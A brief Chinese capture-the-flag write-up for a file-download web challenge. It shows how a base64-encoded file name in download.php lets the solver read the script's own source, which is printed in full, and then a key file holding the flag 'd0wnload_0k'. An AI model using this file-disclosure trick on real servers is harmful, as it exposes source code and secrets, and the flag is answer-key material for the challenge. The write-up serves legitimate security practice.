云演-Web文件下载-writeup

听首歌吧

页面里面有两个歌曲下载链接，发现下载的url是这样的

download.php?url=T25lIExvdmUubXAz

后面是对应文件名的base64编码，按照这个规律，下载一个download.php看看

download.php?url=ZG93bmxvYWQucGhw

<?php
error_reporting(0);
include("hereiskey.php");
$url=base64_decode($_GET[url]);
if( $url=="hereiskey.php" || $url=="choubaguai.mp3" || $url=="One Love.mp3" || $url=="download.php"){
	$file_size = filesize($url);
	header ( "Pragma: public" );
	header ( "Cache-Control: must-revalidate, post-check=0, pre-check=0" );
	header ( "Cache-Control: private", false );
	header ( "Content-Transfer-Encoding: binary" );
	header ( "Content-Type:audio/mpeg MP3");
	header ( "Content-Length: " . $file_size);
	header ( "Content-Disposition: attachment; filename=".$url);
	echo(file_get_contents($url));
	exit;
}
else {
	echo "Access Forbidden!";
}
?>

下载hereiskey.php，得到flag

<?php
// key is d0wnload_0k
?>